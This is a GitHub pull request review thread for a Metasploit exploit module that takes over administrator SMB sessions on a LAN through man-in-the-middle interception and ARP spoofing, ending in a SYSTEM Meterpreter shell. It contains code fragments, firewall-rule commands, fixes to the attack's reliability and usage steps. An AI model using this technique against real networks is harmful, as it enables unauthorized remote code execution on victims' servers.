-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add SMB Shadow Module: Direct SMB Session Takeover #15903
Conversation
This module intercepts direct SMB connections on the LAN. Both the SMB Server and Client must be on the LAN. The SMB Client must be authenticating to the Server as an Administrator. This module is dependent on an external ARP spoofer.
Add additional clarity and details to the existing documentation for the smb_shadow module. Remove some outdated comments and fix some spelling errors.
Change [?..] to [?..-1] to be compatible with older ruby versions. Fix failing msftidy rubocop linting tests.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for the pull request! Added some comments that would be useful to implement 👍
|
||
# This starts the SYN capture thread as part of step two. | ||
def start_syn_capture | ||
@syn_capture_thread = Thread.new { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We have a wrapper for creating threads in framework, so that they can be tracked and killed by framework itself
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Example:
@relay_thread = Rex::ThreadFactory.spawn("SOCKS4AProxyServerRelay", false) do |
pfctl.close_write | ||
end | ||
IO.popen("pfctl -e", err: "/dev/null").close | ||
elsif RUBY_PLATFORM.include?("nix") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Looks like this wouldn't match against my linux environment:
irb(main):001:0> RUBY_PLATFORM
=> "x86_64-linux-musl"
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = NormalRanking |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We may want to downgrade this to ManualRanking
https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking
end | ||
IO.popen("pfctl -e", err: "/dev/null").close | ||
elsif RUBY_PLATFORM.include?("nix") | ||
%x{iptables -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We may want to add cleanup for this, i.e. removing the rules that have been added
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I wonder if it would make sense to do validation upfront to see if the required pfctl/iptables, or potentially other tools like ufw etc, are installed - before attempting to run the module? 🤔
The current pattern would be to use fail_with
:
metasploit-framework/modules/auxiliary/gather/snare_registry.rb
Lines 52 to 54 in 04e8752
if reg_key.blank? | |
fail_with(Failure::BadConfig, "#{peer} - Please supply a valid key name") | |
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a builtin method I can use to check if a command is in the path?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
A similar approach to this should work 👍
metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb
Lines 1641 to 1648 in f1b77e2
def cmd_db_nmap_help | |
nmap = find_nmap_path | |
unless nmap | |
print_error("The nmap executable could not be found") | |
return | |
end | |
stdout, stderr = Open3.capture3([nmap, 'nmap'], '--help') |
metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb
Lines 1582 to 1584 in f1b77e2
def find_nmap_path | |
Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe") | |
end |
%x{iptables -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP} | ||
else | ||
print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}") | ||
print_error("WARNING : Port 445 forwarding must be blocked manually.") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it make sense to change this to a failure if it's essential to the module running? If so, I wonder if we should fail_with
by default here - but allow a configurable datastore option to override that functionality if we're sure we've set up our local environment correctly - i.e. having pre-existing valid iptables/network perms in place
'Space' => 2048, | ||
'DisableNops' => true, | ||
'StackAdjustment' => -3500, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just confirming - are these values are required, or were they transferred from an existing module? 👀
# This allows us to have the time to modify the packets before forwarding them. | ||
def disable_p445_fwrd | ||
if RUBY_PLATFORM.include?("darwin") | ||
IO.popen("pfctl -f -", "r+", err: "/dev/null") do |pfctl| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Because of the side effects on the system itself, we may want to add the DefangedMode
option being set to true
before we run this module, as it's modifying ip tables etc
Pattern can be seen over here:
metasploit-framework/modules/exploits/windows/rdp/rdp_doublepulsar_rce.rb
Lines 152 to 164 in db2ac2d
def exploit | |
if datastore['DefangedMode'] | |
warning = <<~EOF | |
Are you SURE you want to execute code against a nation-state implant? | |
You MAY contaminate forensic evidence if there is an investigation. | |
Disable the DefangedMode option if you have authorization to proceed. | |
EOF | |
fail_with(Failure::BadConfig, warning) | |
end |
Note, the wording would be updated to align with the needs of this module
print_error("WARNING : Not running as Root. This can cause socket permission issues.") unless Process.uid == 0 | ||
@sessions = {} | ||
@main_threads = [] | ||
@interface = datastore['INTERFACE'] || Pcap.lookupdev |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'd be in favor of not defaulting the interface here, and marking as explicitly required within the module options, just to remove any unexpected behavior:
register_options(
[
OptString.new('SHARE', [ true, "The share to connect to", 'ADMIN$' ]),
OptString.new('INTERFACE', [true, 'The name of the interface']),
3. Do `use exploit/windows/smb/smb_shadow` | ||
4. Do `run` | ||
5. Wait for any SMB Client to connect to any SMB Server as an Administrator | ||
6. Receive a Meterpreter Session as SYSTEM on the SMB Server host |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It would be great to see add the verification steps / options to these docs 👍
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Microsoft Windows SMB Direct Session Takeover', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What are your thoughts on renaming the file from smb_shadow.rb
to align closer with this name? Just to avoid confusion with other shadow
techniques/tools in the windows ecosystem
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
How about smb_takeover.rb
?
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
You can automate most of these changes with the
Please update your branch after these have been made, and reach out if you have any problems. |
packet.tcp_header.tcp_ack = @sessions[packet.tcp_header.tcp_src][:acknum] | ||
packet.tcp_header.tcp_seq = @sessions[packet.tcp_header.tcp_src][:seqnum] | ||
packet.eth_header.eth_src = str2mac(@mac) | ||
packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
During testing, this statement failed due to @sessions[packet.tcp_header.tcp_src][:dstmac]
being nil
. In my understanding, this variable is set in a separate thread in start_syn_capture
. I think there is a race condition issue here, confirming what @adfoster-r7 said in this comment. I could fix the issue by adding a retry in a rescue block. Note that it is not a solution and proper synchronisation (mutex) should be put in place instead:
begin
packet.eth_header.eth_dst = str2mac(@sessions[packet.tcp_header.tcp_src][:dstmac])
rescue => e
sleep 0.1
retry
end
@sessions[packet.tcp_header.tcp_src][:acknum] = packet.tcp_header.tcp_ack | ||
@sessions[packet.tcp_header.tcp_src][:seqnum] = packet.tcp_header.tcp_seq | ||
@sessions[packet.tcp_header.tcp_src][:active] = true | ||
@sessions[packet.tcp_header.tcp_src][:dstmac] = arp(tpa: ip2str(int2ip(packet.ip_header.ip_dst))) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was not able to make this exploit work as expected until I found that, at some point, the client was communicating with the server directly, without passing through my machine. Apparently, the ARP spoofing attack was not properly working. After a bit of investigation, I found out this ARP request was the issue.
The ARP spoofing attack, which is running in the background, keeps sending broadcast requests, telling the client that the server is at the attacker MAC address. But, since this ARP request sent in start_syn_capture
is asking "Who has [server IP]?", the server immediately replies with its MAC address (the legitimate one). At this point, the client sees this reply and automatically updates its ARP table to replace the poisoned value with the legitimate one. The server IP now matches its real MAC address and the MiMT attack fails, until the ARP spoofing tool sends a new poisoned broadcast request. This short change in the client ARP table make the whole exploit fails.
In order to confirm my assumption, I tried to bypass this ARP request and hard-coded the server MAC address instead. The exploit worked again, pretty reliably actually.
@sessions[packet.tcp_header.tcp_src][:dstmac] = '<server MAC addresse>'
Thank you all for the clear and informative reviews. |
Add mutex to module to prevent race condition. Add sleep to after arp query to prevent arp cache restoration. Add DefangedMode to indicate system network changes. Change module INTERFACE option to be explicit. Remove unnecessary module payload parameters. Add module Notes.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for updating the code @usiegl00. I re-tested the module and it works great!
I just left a few comments related to other minor code changes. Also, I added a design suggestion about how RubySMB is used in your module. Please, let me know what you think about it.
if @sessions[packet.tcp_header.tcp_src] && @sessions[packet.tcp_header.tcp_src][:active] && (smb2[0..4] != "\xFFSMB") | ||
case smb2[11..12] | ||
when "\x00\x00" # Negotiate Protocol Request | ||
smb_packet = RubySMB::SMB2::Packet::NegotiateRequest.read(smb2) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
One interesting improvement would be to use RubySMB client and override specific methods to customize the logic. For example, you can override smb2_3_negotiate_request
and select the one dialect needed for this exploit. I believe smb2_authenticate
would also need to be overridden to pass the SessionSessionRequest
packet from the victim and hijack the session.
Then, you can implement a specific Dispatcher class that would be used to send and receive packets using PackFu
, doing all the acknum
and seqnum
magic for the MiTM attack. The default Dispatcher class is the Socket
Dispatcher, which can be replaced by any class that inherit from the Base
Dispatcher class. You just need to implement the logic for connect
, send_packet
and recv_packet
, capturing and sending packets using PacketFu
.
The main benefit of this design is to reuse all the RubySMB client helpers without having to reimplement everything from scratch in main_thread
. The client has almost everything to create/write a file, manage Windows services, etc. The only functions missing for now are to create and delete a service, as you mentioned in a comment. However, this can be easily added to RubySMB library. You just need to add create_service_w
([MS-SCMR] 3.1.4.12 RCreateServiceW (Opnum 12)) and delete_service
([MS-SCMR] 3.1.4.3 RDeleteService (Opnum 2)) methods to svcctl.rb
and implement the corresponding DCERPC packets (request and response) in lib/ruby_smb/dcerpc/svcctl/
. I can help you with this, if you choose to go that path.
So, main_thread
would be refactored into something along these lines:
dispatcher = RubySMB::Dispatcher::TheNewDispatcher.new(packet)
client = RubySMB::Client.new(dispatcher, smb1: false, smb2: true, smb3: false)
client.negotiate
client.authenticate
tree = client.tree_connect(path)
file = tree.open_file(filename: filename, write: true, disposition: RubySMB::Dispositions::FILE_SUPERSEDE)
file.write(data: data)
file.close
tree.disconnect!
tree = client.tree_connect("\\\\#{address}\\IPC$")
svcctl = tree.open_file(filename: 'svcctl', write: true, read: true)
svcctl.bind(endpoint: RubySMB::Dcerpc::Svcctl)
scm_handle = svcctl.open_sc_manager_w(address)
svc_handle = svcctl.create_service(scm_handle, service) # the one that would need to be added to RubySMB
svcctl.start_service_w(svc_handle)
...
I think using RubySMB this way would be great improvement for the module readability and would make it easier to maintain/update. But it's up to you, just a suggestion.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
That is a great idea.
I will open a pr with a new dispatcher for ruby_smb after this pr is merged.
We can also add the missing DCERPC packets.
Once the new pr is merged, I will update this module to utilize it.
@syn_capture_thread.exit if @syn_capture_thread | ||
@ack_capture_thread.exit if @ack_capture_thread | ||
@main_threads.map(&:exit) if @main_threads | ||
print_status 'Cleaned Up.' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think the cleanup method should also remove the firewall rules (if any) to revert any changes made to the user's system.
Remove the return statement after fail_with which will never be reached. Add documentation for the module options. Reset the packet forwarding settings during the module cleanup.
Just checking in. : ) Happy Holidays! |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks for updating the code @usiegl00. I'm sorry for the delay.
I left a couple of comments about the use of pfctl
on Mac. Otherwise, it looks good.
Do you still plan to add the suggested RubySMB dispatcher logic? If so, this should be added directly to this module (in this PR), since it is very specific to it. Only the new DCERPC packet in svcctl.rb can be added to the RubySMB library later, if you choose to do so.
Happy Holidays too!
unless pfctl | ||
fail_with(Failure::NotFound, 'The pfctl executable could not be found.') | ||
end | ||
IO.popen("#{pfctl} -f -", 'r+', err: '/dev/null') do |pf| |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Apparently, using -f
flushes the existing rules before adding this new rule. This is the warning I had on Mac OS X:
pfctl: Use of -f option, could result in flushing of rules
present in the main ruleset added by the system at startup.
See /etc/pf.conf for further details.
...
I checked and confirmed the original rules were gone.
Whenever possible, we need to make sure the packet filter behavior remains the same and only the needed rule should be added.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I will use a packet filter anchor to make sure the changes are isolated.
unless pfctl | ||
fail_with(Failure::NotFound, 'The pfctl executable could not be found.') | ||
end | ||
IO.popen("#{pfctl} -d", err: '/dev/null').close |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
According to the documentation, pfctl -d
only disables the packet filter. The added rule is not deleted. We need to make sure the original state is restored. This also includes the state of the packet filter. If it was originally enabled, it must stay enabled. Only the new rule should be deleted.
The packet filter anchor will prevent the flushing of previous packet filter rules. Using an anchor also allows us to remove the rule, instead of disabling the filter.
I suggest this pr be merged as is. The dispatcher work will go into a future pr. (Thank you for reviewing my work. This is my first substantial msf contribution and I would enjoy a quick chat to share context on my interests. See email.) |
Update the iptables invocation to use the FORWARD table, which filters packets being routed through the device. Add check for STATUS_PENDING response from the server while creating the service.
The mutex will prevent multiple calls to cleanup when the module is stopped with Ctrl-C. Add a Notes section to the documentation which describes arpspoof usage and such.
Thank you @usiegl00 for this great module! I retested everything using the following environment:
I also used the I successfully got a Meterpreter session and verified the cleanup was done. I went ahead land it.
|
Release NotesThis adds a new exploit module that implements the Shadow Attack, SMB Direct Session takeover. Before running this module, a MiTM attack needs to be performed to let it intercept SMB authentication requests between a client and a server. This can be done by using any kind of ARP spoofer/poisoner tools in addition to Metasploit. If the connecting user is an administrator and network logins are allowed to the target machine, this module will execute an arbitrary payload. |
This module intercepts direct SMB connections on the LAN
Both the SMB Server and Client must be on the LAN.
The SMB Client must be authenticating to the Server as an Administrator.
This module is dependent on an external ARP spoofer.
The builtin ARP spoofer was not providing sufficient host discovery.
Bettercap v1.6.2 was used during the development of this module.
Verification Steps
use exploit/windows/smb/smb_shadow
run
See the paper on the SMB Shadow Attack:
https://strontium.io/blog/introducing-windows-10-smb-shadow-attack
SideNote -- The guide for accepting modules mentions the BailiWicked module, which has a spelling error. (Baliwicked)